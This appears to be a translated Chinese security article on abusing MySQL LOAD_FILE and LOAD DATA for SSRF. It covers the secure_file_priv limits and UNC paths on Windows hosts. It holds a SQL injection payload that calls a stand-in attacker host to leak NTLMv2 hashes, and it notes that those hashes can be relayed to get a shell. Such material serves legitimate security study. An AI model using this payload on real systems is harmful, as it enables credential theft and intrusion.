LOAD_FILE/LOAD DATA/LOAD XML to SSRFLOAD_FILE/LOAD DATA/LOAD XML to SSRF

每一篇SQL带外数据泄露的文章都会使用LOAD_FILE()字符串函数来进行网络请求。该函数本身有其自身的局限性,基于它所运行的操作系统和数据库启动时的设置。

例如,如果没有设置 secure_file_priv全局变量,默认值被设置为 /var/lib/mysql-files/,这意味着你只能使用LOAD_FILE('filename')LOAD DATA [LOCAL] INFILE 'filename' INTO TABLE tablename等函数来读取 /var/lib/mysql-files/目录下的文件。为了能够对这个目录以外的文件进行读取,secure_file_priv选项必须被设置为“”,这只能通过更新数据库配置文件或将--secure_file_priv=""作为启动参数传递给数据库服务来实现。

Mysql 的 SSRF%26RCE - 图1

尽管如此,在secure_file_priv设置为 "" 的情况下,我们应该能够读取系统中的其他文件,假设文件读取 perms和file_privmysql.user中为当前数据库用户设置为Y。然而,能够使用这些函数来进行网络调用是非常依赖于操作系统的。由于这些函数只为读取文件而构建,唯一可以进行的网络相关调用是Windows主机上的UNC路径,Naming Files, Paths, and Namespaces - Win32 apps

因此,如果你的目标数据库运行在Windows机器上,注入查询 x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\a.txt'); --//导致windows机器发出NTLMv2的哈希值,试图与acttacker控制的 \attackerserver.example.com 通信

这种服务器端请求伪造,虽然有用,但只限于TCP 445端口。你不能控制端口号,但可以从设置有完全读取权限的共享中读取信息。另外,正如以前的研究表明的那样,你可以利用这种有限的SSRF能力来窃取哈希值,并转述它们来获得外壳,所以它绝对是有用的。

Mysql 的 SSRF%26RCE - 图2